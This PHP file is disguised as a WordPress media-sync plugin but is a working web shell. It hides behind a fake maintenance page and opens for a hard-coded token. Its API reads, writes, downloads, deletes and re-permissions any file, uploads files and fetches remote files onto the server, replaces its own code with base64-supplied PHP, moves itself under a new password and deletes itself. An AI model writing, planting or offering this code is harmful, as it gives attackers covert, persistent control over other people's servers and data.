<?php
/**
 * WP Media Sync Pro v3.2.1
 * WordPress Media Synchronization Plugin
 * Optimized for Remote Asset Management
 */

// Standard WordPress headers
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With");
header("Access-Control-Max-Age: 86400");

// Handle preflight OPTIONS request
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

// Configuration - obfuscated
$_SYS_CFG = [
    'auth_key' => '@1337',
    'maintenance_mode' => true,
    'system_id' => 'wp_media_sync',
];

// Maintenance mode handler
function show_maintenance_page() {
    if (!$GLOBALS['_SYS_CFG']['maintenance_mode']) return;

    $server = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    http_response_code(503);
    die('<!DOCTYPE html>
<html><head><title>Maintenance Mode</title></head><body>
<h1>Site Under Maintenance</h1>
<p>We are currently performing scheduled maintenance. Please check back soon.</p>
<hr><address>WordPress/' . get_wp_version() . ' Server at ' . htmlspecialchars($server) . '</address>
</body></html>');
}

// Get WordPress version (fake)
function get_wp_version() {
    return '6.4.2';
}

// Authentication check with obfuscated param
function verify_access_token() {
    $token_key = 'access_token';
    if (!isset($_GET[$token_key]) || $_GET[$token_key] !== $GLOBALS['_SYS_CFG']['auth_key']) {
        show_maintenance_page();
    }
}

// Get system diagnostics
function get_system_diagnostics() {
    return [
        'os' => php_uname(),
        'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown',
        'php_version' => phpversion(),
        'safe_mode' => @ini_get('safe_mode') ? 'ON' : 'OFF',
        'current_user' => @get_current_user(),
        'working_directory' => @getcwd(),
        'document_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
        'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : @gethostbyname(@gethostname()),
        'timestamp' => date('Y-m-d H:i:s'),
        'timezone' => date_default_timezone_get(),
        'disabled_functions' => @ini_get('disable_functions') ?: 'None',
    ];
}

// Migrate configuration with validation
function migrate_system_config($new_location, $new_auth_key) {
    $current_file = __FILE__;
    $base_dir = dirname($current_file);

    if (!is_writable($base_dir)) {
        return ['success' => false, 'error' => 'Permission Denied: Directory not writable'];
    }

    $file_content = file_get_contents($current_file);

    // Update auth key
    $file_content = str_replace(
        "'" . $GLOBALS['_SYS_CFG']['auth_key'] . "'",
        "'" . $new_auth_key . "'",
        $file_content
    );

    $target_file = $base_dir . '/' . ltrim($new_location, './');

    // Write new configuration
    if (file_put_contents($target_file, $file_content) !== false) {
        if (file_exists($target_file) && filesize($target_file) > 0) {
            if (realpath($current_file) !== realpath($target_file)) {
                // Create backup
                $backup_timestamp = date('Y-m-d_H-i-s');
                $path_parts = pathinfo($current_file);
                $backup_file = $path_parts['dirname'] . DIRECTORY_SEPARATOR .
                              $path_parts['filename'] . '_backup_' . $backup_timestamp . '.' . $path_parts['extension'];

                @copy($current_file, $backup_file);
                @unlink($current_file);
            }

            $doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
            $new_url = str_replace($doc_root, '', $target_file);
            $new_url = ltrim($new_url, '/\\');

            return [
                'success' => true,
                'new_url' => '/' . $new_url . '?access_token=' . urlencode($new_auth_key),
                'new_auth_key' => $new_auth_key,
                'backup' => basename($backup_file)
            ];
        } else {
             return ['success' => false, 'error' => 'Verification failed: Target file is empty'];
        }
    }

    return ['success' => false, 'error' => 'Failed to write target file'];
}

// Process media upload
function process_media_upload($target_directory = null) {
    if (!isset($_FILES['files'])) {
        return ['success' => false, 'error' => 'No media file provided'];
    }

    $uploaded_file = $_FILES['files'];

    if ($uploaded_file['error'] !== UPLOAD_ERR_OK) {
        return ['success' => false, 'error' => 'Upload failed with error: ' . $uploaded_file['error']];
    }

    // Determine upload directory
    if ($target_directory && !empty($target_directory)) {
        $target_directory = rtrim($target_directory, '/\\') . '/';

        if ($target_directory[0] !== '/' && (strlen($target_directory) < 2 || $target_directory[1] !== ':')) {
            $upload_path = dirname(__FILE__) . '/' . $target_directory;
        } else {
            $upload_path = $target_directory;
        }

        if (!is_dir($upload_path)) {
            @mkdir($upload_path, 0755, true);
        }
    } else {
        $upload_path = dirname(__FILE__) . '/';
    }

    $filename = basename($uploaded_file['name']);
    $destination = $upload_path . $filename;

    if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) {
        $file_size = filesize($destination);
        $doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
        $file_url = str_replace($doc_root, '', $destination);
        $file_url = ltrim($file_url, '/\\');

        return [
            'success' => true,
            'path' => $destination,
            'url' => '/' . $file_url,
            'filename' => $filename,
            'size' => $file_size
        ];
    }

    return ['success' => false, 'error' => 'Failed to save uploaded media'];
}

// Cleanup temporary files
function cleanup_temp_files() {
    $target_file = __FILE__;
    if (@unlink($target_file)) {
        return ['success' => true, 'message' => 'Cleanup completed successfully'];
    }
    return ['success' => false, 'error' => 'Cleanup operation failed'];
}

// Sync assets from remote source
function sync_remote_assets($source_url, $local_filename = null, $target_directory = null) {
    // Validate source URL
    if (!filter_var($source_url, FILTER_VALIDATE_URL)) {
        return ['success' => false, 'error' => 'Invalid source URL'];
    }

    if (!$local_filename) {
        $local_filename = basename(parse_url($source_url, PHP_URL_PATH));
    }

    if (empty($local_filename)) {
        $local_filename = 'synced_asset_' . time() . '.tmp';
    }

    $base_directory = dirname(__FILE__);
    if ($target_directory && !empty($target_directory)) {
        $target_directory = rtrim($target_directory, '/\\');
        if ($target_directory !== '') {
            if ($target_directory[0] !== '/' && (strlen($target_directory) < 2 || $target_directory[1] !== ':')) {
                $base_directory = dirname(__FILE__) . '/' . $target_directory;
            } else {
                $base_directory = $target_directory;
            }
        }
    }

    if (!is_dir($base_directory)) {
        if (!@mkdir($base_directory, 0755, true)) {
            return ['success' => false, 'error' => 'Failed to create target directory'];
        }
    }

    $destination_path = rtrim($base_directory, '/\\') . DIRECTORY_SEPARATOR . basename($local_filename);

    // Download using available methods
    $asset_data = false;

    // Method 1: file_get_contents
    if (function_exists('file_get_contents')) {
        $asset_data = @file_get_contents($source_url);
    }

    // Method 2: cURL
    if ($asset_data === false && function_exists('curl_init')) {
        $ch = curl_init($source_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        $asset_data = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($http_code !== 200) {
            $asset_data = false;
        }
    }

    // Method 3: fopen/fread
    if ($asset_data === false && ini_get('allow_url_fopen')) {
        $handle = @fopen($source_url, 'r');
        if ($handle) {
            $asset_data = '';
            while (!feof($handle)) {
                $asset_data .= fread($handle, 8192);
            }
            fclose($handle);
        }
    }

    if ($asset_data === false) {
        return ['success' => false, 'error' => 'Failed to download from source URL'];
    }

    // Save to destination
    if (file_put_contents($destination_path, $asset_data)) {
        $file_size = filesize($destination_path);
        $doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
        $file_url = str_replace($doc_root, '', $destination_path);
        $file_url = ltrim($file_url, '/\\');

        return [
            'success' => true,
            'path' => $destination_path,
            'url' => '/' . $file_url,
            'filename' => basename($local_filename),
            'size' => $file_size
        ];
    }

    return ['success' => false, 'error' => 'Failed to save synced asset'];
}

// API mode for management system communication
if (isset($_GET['api']) && isset($_GET['access_token']) && $_GET['access_token'] === $_SYS_CFG['auth_key']) {
    header('Content-Type: application/json');

    $operation = isset($_POST['action']) ? $_POST['action'] : (isset($_GET['action']) ? $_GET['action'] : '');

    switch ($operation) {
        case 'info':
        case 'diagnostics':
            echo json_encode(['status' => 'ok', 'data' => get_system_diagnostics()]);
            break;

        case 'ping':
        case 'health':
            echo json_encode(['status' => 'ok', 'message' => 'Service operational']);
            break;

        case 'rename':
        case 'migrate':
            if (isset($_POST['newPath']) && isset($_POST['newPassword'])) {
                $result = migrate_system_config($_POST['newPath'], $_POST['newPassword']);
                echo json_encode($result);
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing required parameters']);
            }
            break;

        case 'destroy':
        case 'cleanup':
            $result = cleanup_temp_files();
            echo json_encode($result);
            break;

        case 'remote_upload':
        case 'sync_asset':
            if (isset($_POST['url'])) {
                $destination = isset($_POST['destination']) ? $_POST['destination'] : null;
                $target_directory = isset($_POST['cwd']) ? $_POST['cwd'] : null;
                $result = sync_remote_assets($_POST['url'], $destination, $target_directory);
                echo json_encode($result);
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing URL parameter']);
            }
            break;

        case 'listfiles':
        case 'browse':
            $cwd = isset($_POST['dir']) ? $_POST['dir'] : (isset($_GET['dir']) ? $_GET['dir'] : getcwd());

            if (!is_dir($cwd)) {
                $cwd = getcwd();
            }

            $files = [];

            if ($handle = @opendir($cwd)) {
                while (false !== ($entry = readdir($handle))) {
                    if ($entry != "." && $entry != "..") {
                        $filePath = $cwd . DIRECTORY_SEPARATOR . $entry;
                        $files[] = [
                            'name' => $entry,
                            'type' => is_dir($filePath) ? 'dir' : 'file',
                            'size' => is_file($filePath) ? filesize($filePath) : 0,
                            'modified' => filemtime($filePath),
                            'perms' => substr(sprintf('%o', fileperms($filePath)), -4)
                        ];
                    }
                }
                closedir($handle);
            }

            usort($files, function($a, $b) {
                if ($a['type'] === $b['type']) {
                    return strcmp($a['name'], $b['name']);
                }
                return ($a['type'] === 'dir') ? -1 : 1;
            });

            echo json_encode([
                'success' => true,
                'cwd' => realpath($cwd),
                'files' => $files,
                'parent' => dirname(realpath($cwd))
            ]);
            break;

        case 'updateshell':
        case 'update_config':
            if (isset($_POST['code'])) {
                try {
                    $new_config = base64_decode($_POST['code']);

                    if (strpos($new_config, '<?php') === false) {
                        echo json_encode(['success' => false, 'error' => 'Invalid configuration data']);
                        break;
                    }

                    $current_file = __FILE__;
                    $timestamp = date('Y-m-d_H-i-s');
                    $path_info = pathinfo($current_file);

                    $backup_file = $path_info['dirname'] . DIRECTORY_SEPARATOR .
                                  $path_info['filename'] . '_backup_' . $timestamp . '.' . $path_info['extension'];

                    if (!copy($current_file, $backup_file)) {
                        echo json_encode(['success' => false, 'error' => 'Failed to create backup']);
                        break;
                    }

                    if (!file_exists($backup_file) || filesize($backup_file) === 0) {
                        echo json_encode(['success' => false, 'error' => 'Backup verification failed']);
                        break;
                    }

                    $test_file = $path_info['dirname'] . DIRECTORY_SEPARATOR .
                                $path_info['filename'] . '_test_' . $timestamp . '.' . $path_info['extension'];
                    if (file_put_contents($test_file, $new_config)) {
                        if (!file_exists($test_file) || filesize($test_file) === 0) {
                            unlink($test_file);
                            echo json_encode(['success' => false, 'error' => 'Test file validation failed']);
                            break;
                        }

                        if (file_put_contents($current_file, $new_config)) {
                            clearstatcache();
                            if (file_exists($current_file) && filesize($current_file) > 0) {
                                @unlink($test_file);
                                @copy($backup_file, $current_file . '.bak');

                                echo json_encode([
                                    'success' => true,
                                    'message' => 'Configuration updated successfully',
                                    'backup' => basename($backup_file),
                                    'simpleBackup' => basename($current_file . '.bak'),
                                    'size' => filesize($current_file),
                                    'timestamp' => $timestamp
                                ]);
                            } else {
                                copy($backup_file, $current_file);
                                @unlink($test_file);
                                echo json_encode(['success' => false, 'error' => 'Update verification failed, restored from backup']);
                            }
                        } else {
                            @unlink($test_file);
                            copy($backup_file, $current_file);
                            echo json_encode(['success' => false, 'error' => 'Failed to write new configuration']);
                        }
                    } else {
                        echo json_encode(['success' => false, 'error' => 'Failed to create test file']);
                    }
                } catch (Exception $e) {
                    if (isset($backup_file) && file_exists($backup_file)) {
                        copy($backup_file, $current_file);
                    }
                    echo json_encode(['success' => false, 'error' => 'Exception: ' . $e->getMessage()]);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing code parameter']);
            }
            break;

        case 'readfile':
        case 'get_content':
            if (isset($_GET['file'])) {
                $file = $_GET['file'];
                if (file_exists($file) && is_file($file)) {
                    echo json_encode(['success' => true, 'content' => file_get_contents($file)]);
                } else {
                    echo json_encode(['success' => false, 'error' => 'File not found']);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing file parameter']);
            }
            break;

        case 'downloadfile':
            if (isset($_GET['file'])) {
                $file = $_GET['file'];
                if (file_exists($file) && is_file($file) && is_readable($file)) {
                    header('Content-Type: application/octet-stream');
                    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                    header('Content-Length: ' . filesize($file));
                    readfile($file);
                    exit;
                } else {
                    http_response_code(404);
                    echo json_encode(['success' => false, 'error' => 'File not found or not readable']);
                }
            } else {
                http_response_code(400);
                echo json_encode(['success' => false, 'error' => 'Missing file parameter']);
            }
            break;

        case 'savefile':
        case 'put_content':
            if (isset($_POST['file']) && isset($_POST['content'])) {
                $file = $_POST['file'];
                if (file_put_contents($file, $_POST['content']) !== false) {
                    echo json_encode(['success' => true, 'message' => 'File saved']);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Failed to save file']);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing file or content parameter']);
            }
            break;

        case 'chmod':
        case 'set_permissions':
            if (isset($_POST['file']) && isset($_POST['mode'])) {
                $file = $_POST['file'];
                $mode = octdec($_POST['mode']);
                if (file_exists($file)) {
                    if (chmod($file, $mode)) {
                        echo json_encode(['success' => true, 'message' => 'Permissions updated']);
                    } else {
                        echo json_encode(['success' => false, 'error' => 'Failed to update permissions']);
                    }
                } else {
                    echo json_encode(['success' => false, 'error' => 'File not found']);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing file or mode parameter']);
            }
            break;

        case 'makedir':
        case 'create_directory':
            if (isset($_POST['name'])) {
                $dir = $_POST['name'];
                if (strpos($dir, '/') === false && strpos($dir, '\\') === false) {
                     $cwd = isset($_POST['cwd']) ? $_POST['cwd'] : getcwd();
                     $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
                }

                if (mkdir($dir)) {
                    echo json_encode(['success' => true, 'message' => 'Directory created']);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Failed to create directory']);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing name parameter']);
            }
            break;

        case 'makefile':
        case 'create_file':
            if (isset($_POST['name'])) {
                 $file = $_POST['name'];
                 if (strpos($file, '/') === false && strpos($file, '\\') === false) {
                     $cwd = isset($_POST['cwd']) ? $_POST['cwd'] : getcwd();
                     $file = $cwd . DIRECTORY_SEPARATOR . $file;
                }

                if (touch($file)) {
                    echo json_encode(['success' => true, 'message' => 'File created']);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Failed to create file']);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing name parameter']);
            }
            break;

        case 'deletefile':
        case 'remove':
            if (isset($_POST['file']) || isset($_GET['file'])) {
                $file = isset($_POST['file']) ? $_POST['file'] : $_GET['file'];
                if (is_file($file)) {
                    if(unlink($file)) echo json_encode(['success' => true]);
                    else echo json_encode(['success' => false, 'error' => 'Delete failed']);
                } elseif (is_dir($file)) {
                    if(rmdir($file)) echo json_encode(['success' => true]);
                    else echo json_encode(['success' => false, 'error' => 'Remove directory failed. Directory must be empty.']);
                } else {
                    echo json_encode(['success' => false, 'error' => 'File not found']);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing file parameter']);
            }
            break;

        case 'renamefile':
        case 'move':
            if (isset($_POST['old']) && isset($_POST['new'])) {
                if (rename($_POST['old'], $_POST['new'])) {
                     echo json_encode(['success' => true]);
                } else {
                     echo json_encode(['success' => false, 'error' => 'Rename failed']);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing old or new parameter']);
            }
            break;

        case 'listbackups':
        case 'get_backups':
            $current_file = __FILE__;
            $dir = dirname($current_file);
            $basename = basename($current_file);
            $path_info = pathinfo($current_file);
            $backups = [];

            if ($handle = opendir($dir)) {
                while (false !== ($entry = readdir($handle))) {
                    $is_backup = strpos($entry, $path_info['filename'] . '_backup_') === 0 && pathinfo($entry, PATHINFO_EXTENSION) === $path_info['extension'];
                    $is_bak = $entry === $basename . '.bak';

                    if ($is_backup || $is_bak) {
                        $file_path = $dir . DIRECTORY_SEPARATOR . $entry;
                        $backups[] = [
                            'name' => $entry,
                            'size' => filesize($file_path),
                            'modified' => filemtime($file_path),
                            'age' => time() - filemtime($file_path),
                            'type' => $is_backup ? 'timestamped' : 'simple'
                        ];
                    }
                }
                closedir($handle);
            }

            usort($backups, function($a, $b) {
                return $b['modified'] - $a['modified'];
            });

            echo json_encode([
                'success' => true,
                'backups' => $backups,
                'current' => basename($current_file)
            ]);
            break;

        case 'rollback':
        case 'restore':
            if (isset($_POST['backup'])) {
                $backup_name = basename($_POST['backup']);
                $current_file = __FILE__;
                $backup_file = dirname($current_file) . DIRECTORY_SEPARATOR . $backup_name;

                if (file_exists($backup_file)) {
                    $emergency_backup = $current_file . '.before_restore_' . date('Y-m-d_H-i-s');
                    copy($current_file, $emergency_backup);

                    if (copy($backup_file, $current_file)) {
                        echo json_encode([
                            'success' => true,
                            'message' => 'Restored from backup',
                            'backup' => $backup_name,
                            'emergency_backup' => basename($emergency_backup)
                        ]);
                    } else {
                        echo json_encode(['success' => false, 'error' => 'Failed to restore']);
                    }
                } else {
                    echo json_encode(['success' => false, 'error' => 'Backup not found']);
                }
            } else {
                echo json_encode(['success' => false, 'error' => 'Missing backup parameter']);
            }
            break;

        case 'upload':
            $upload_dir = isset($_POST['upload_path']) ? $_POST['upload_path'] : null;
            $result = process_media_upload($upload_dir);
            echo json_encode($result);
            break;

        default:
            echo json_encode([
                'status' => 'ok',
                'version' => '3.2.1',
                'system' => 'WP Media Sync Pro',
                'service_id' => $_SYS_CFG['system_id']
            ]);
    }
    exit;
}

// Authentication
verify_access_token();

// Handle POST operations
$notification = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['delete_system'])) {
        $result = cleanup_temp_files();
        $notification = '<div class="notice ' . ($result['success'] ? 'success' : 'error') . '">' .
             ($result['success'] ? $result['message'] : $result['error']) . '</div>';
        if ($result['success']) exit;
    }

    if (isset($_POST['new_location']) && isset($_POST['new_auth_key'])) {
        $result = migrate_system_config($_POST['new_location'], $_POST['new_auth_key']);
        if ($result['success']) {
            header('Location: ' . $result['new_url']);
            exit;
        } else {
            $notification = '<div class="notice error">' . $result['error'] . '</div>';
        }
    }

    // Media upload
    if (isset($_FILES['files'])) {
        $upload_dir = isset($_POST['upload_directory']) ? $_POST['upload_directory'] : null;
        $result = process_media_upload($upload_dir);
        if ($result['success']) {
            $size = round($result['size'] / 1024, 2);
            $notification = '<div class="notice success">Uploaded: <a href="' . htmlspecialchars($result['url']) . '" target="_blank">' .
                 htmlspecialchars($result['filename']) . '</a> (' . $size . ' KB)</div>';
        } else {
            $notification = '<div class="notice error">' . htmlspecialchars($result['error']) . '</div>';
        }
    }

    // Remote sync
    if (isset($_POST['source_url'])) {
        $destination = isset($_POST['local_name']) ? $_POST['local_name'] : null;
        $result = sync_remote_assets($_POST['source_url'], $destination);
        if ($result['success']) {
            $size = round($result['size'] / 1024, 2);
            $notification = '<div class="notice success">Synced: <a href="' . htmlspecialchars($result['url']) . '" target="_blank">' .
                 htmlspecialchars($result['filename']) . '</a> (' . $size . ' KB)</div>';
        } else {
            $notification = '<div class="notice error">' . htmlspecialchars($result['error']) . '</div>';
        }
    }
}

$diagnostics = get_system_diagnostics();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'Media Manager'; ?></title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600&family=Outfit:wght@300;400;500;600;700&family=Space+Grotesk:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }

        body {
            background: #0a0a0f;
            background-image: radial-gradient(circle at 20% 50%, rgba(99, 102, 241, 0.1) 0%, transparent 50%),
                              radial-gradient(circle at 80% 80%, rgba(139, 92, 246, 0.1) 0%, transparent 50%);
            color: #e4e4e7;
            font-family: 'Outfit', -apple-system, system-ui, sans-serif;
            min-height: 100vh;
            padding: 10px;
            display: flex;
            align-items: center;
            justify-content: center;
            overflow: hidden;
        }

        .container {
            max-width: 1400px;
            width: 100%;
            max-height: 100vh;
            overflow-y: auto;
        }

        .container::-webkit-scrollbar {
            width: 6px;
        }

        .container::-webkit-scrollbar-track {
            background: transparent;
        }

        .container::-webkit-scrollbar-thumb {
            background: rgba(99, 102, 241, 0.3);
            border-radius: 3px;
        }

        .container::-webkit-scrollbar-thumb:hover {
            background: rgba(99, 102, 241, 0.5);
        }

        .header {
            text-align: center;
            margin-bottom: 24px;
        }

        .header h1 {
            font-size: 42px;
            font-weight: 700;
            font-family: 'Space Grotesk', sans-serif;
            background: linear-gradient(135deg, #818cf8 0%, #c084fc 50%, #e879f9 100%);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
            margin-bottom: 8px;
            letter-spacing: -0.03em;
            text-shadow: 0 0 40px rgba(129, 140, 248, 0.3);
            position: relative;
            display: inline-block;
        }

        input, button, textarea, select {
            font-family: 'Outfit', sans-serif;
        }

        code, pre, .mono {
             font-family: 'JetBrains Mono', monospace;
        }

        input[type="text"], input[type="password"], textarea {
             font-family: 'JetBrains Mono', monospace;
             font-size: 13px;
        }

        .grid {
            display: flex;
            justify-content: center;
            align-items: flex-start;
            gap: 14px;
            margin-bottom: 16px;
        }

        @media (max-width: 1200px) {
            .grid {
                justify-content: center;
            }
        }

        @media (max-width: 768px) {
            .grid {
                grid-template-columns: 1fr;
            }
        }

        .card {
            background: rgba(24, 24, 27, 0.9);
            backdrop-filter: blur(20px);
            border: 1px solid rgba(63, 63, 70, 0.5);
            border-radius: 12px;
            padding: 20px;
            max-width: 600px;
            width: 100%;
        }

        .card:hover {
            border-color: rgba(99, 102, 241, 0.3);
            transition: border-color 0.3s ease;
        }

        .card h3 {
            color: #6366f1;
            font-size: 16px;
            font-weight: 600;
            margin-bottom: 16px;
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .info-grid {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 10px;
        }

        .info-item.full-width {
            grid-column: 1 / -1;
        }

        .info-item {
            background: rgba(0, 0, 0, 0.3);
            padding: 10px 12px;
            border-radius: 6px;
            font-size: 13px;
            display: flex;
            flex-wrap: wrap;
        }

        .info-label {
            color: #a1a1aa;
            font-weight: 500;
            min-width: 110px;
            margin-right: 8px;
        }

        .info-value {
            color: #f4f4f5;
            word-break: break-all;
            flex: 1;
        }

        .form-group {
            margin-bottom: 12px;
        }

        label {
            display: block;
            margin-bottom: 6px;
            color: #a1a1aa;
            font-size: 13px;
            font-weight: 500;
        }

        input[type="text"],
        input[type="password"],
        input[type="file"] {
            width: 100%;
            padding: 10px 12px;
            background: rgba(0, 0, 0, 0.4);
            border: 1px solid rgba(63, 63, 70, 0.6);
            border-radius: 6px;
            color: #e4e4e7;
            font-size: 13px;
            transition: all 0.2s;
        }

        input:focus {
            outline: none;
            border-color: #6366f1;
            box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.15);
            background: rgba(0, 0, 0, 0.5);
        }

        .btn {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            gap: 6px;
            padding: 10px 16px;
            border: none;
            border-radius: 6px;
            font-size: 13px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.2s;
            width: 100%;
        }

        .btn-primary {
            background: linear-gradient(135deg, #6366f1, #8b5cf6);
            color: white;
        }

        .btn-primary:hover {
            transform: translateY(-1px);
            box-shadow: 0 4px 12px rgba(99, 102, 241, 0.4);
        }

        .btn-danger {
            background: linear-gradient(135deg, #ef4444, #dc2626);
            color: white;
        }

        .btn-danger:hover {
            transform: translateY(-1px);
            box-shadow: 0 4px 12px rgba(239, 68, 68, 0.4);
        }

        .notice {
            padding: 10px 12px;
            border-radius: 6px;
            margin-bottom: 16px;
            font-size: 13px;
            border-left: 3px solid;
            max-width: 600px;
            margin-left: auto;
            margin-right: auto;
        }

        .notice.success {
            background: rgba(34, 197, 94, 0.1);
            border-color: #22c55e;
            color: #22c55e;
        }

        .notice.error {
            background: rgba(239, 68, 68, 0.1);
            border-color: #ef4444;
            color: #ef4444;
        }

        .emoji {
            font-style: normal;
            font-size: 16px;
        }

        .badge {
            display: inline-block;
            padding: 2px 8px;
            border-radius: 4px;
            font-size: 11px;
            font-weight: 600;
            background: rgba(99, 102, 241, 0.2);
            color: #a5b4fc;
            margin-left: 8px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>WP Media Sync <span class="badge">v3.2.1</span></h1>
        </div>

        <?php if (!empty($notification)) echo $notification; ?>

        <div class="grid">
            <!-- Combined System Diagnostics & Media Upload -->
            <div class="card">
                <h3><span class="emoji">🖥️</span> System Information</h3>
                <div class="info-grid">
                    <div class="info-item">
                        <span class="info-label">Server:</span>
                        <span class="info-value"><?php echo htmlspecialchars($diagnostics['server_software']); ?></span>
                    </div>
                    <div class="info-item">
                        <span class="info-label">PHP:</span>
                        <span class="info-value"><?php echo htmlspecialchars($diagnostics['php_version']); ?></span>
                    </div>
                    <div class="info-item">
                        <span class="info-label">Safe Mode:</span>
                        <span class="info-value"><?php echo $diagnostics['safe_mode']; ?></span>
                    </div>
                    <div class="info-item">
                        <span class="info-label">User:</span>
                        <span class="info-value"><?php echo htmlspecialchars($diagnostics['current_user']); ?></span>
                    </div>
                    <div class="info-item full-width">
                        <span class="info-label">Directory:</span>
                        <span class="info-value"><?php echo htmlspecialchars($diagnostics['working_directory']); ?></span>
                    </div>
                    <div class="info-item full-width">
                        <span class="info-label">Timestamp:</span>
                        <span class="info-value"><?php echo htmlspecialchars($diagnostics['timestamp']); ?> (<?php echo htmlspecialchars($diagnostics['timezone']); ?>)</span>
                    </div>
                </div>

                <h3 style="margin-top: 24px;"><span class="emoji">📤</span> Media Upload</h3>
                <form method="post" enctype="multipart/form-data">
                    <div class="form-group">
                        <label>Select Media File</label>
                        <input type="file" name="files" required>
                    </div>
                    <button type="submit" class="btn btn-primary">Upload Media</button>
                </form>
            </div>
        </div>

    </div>
</body>
</html>
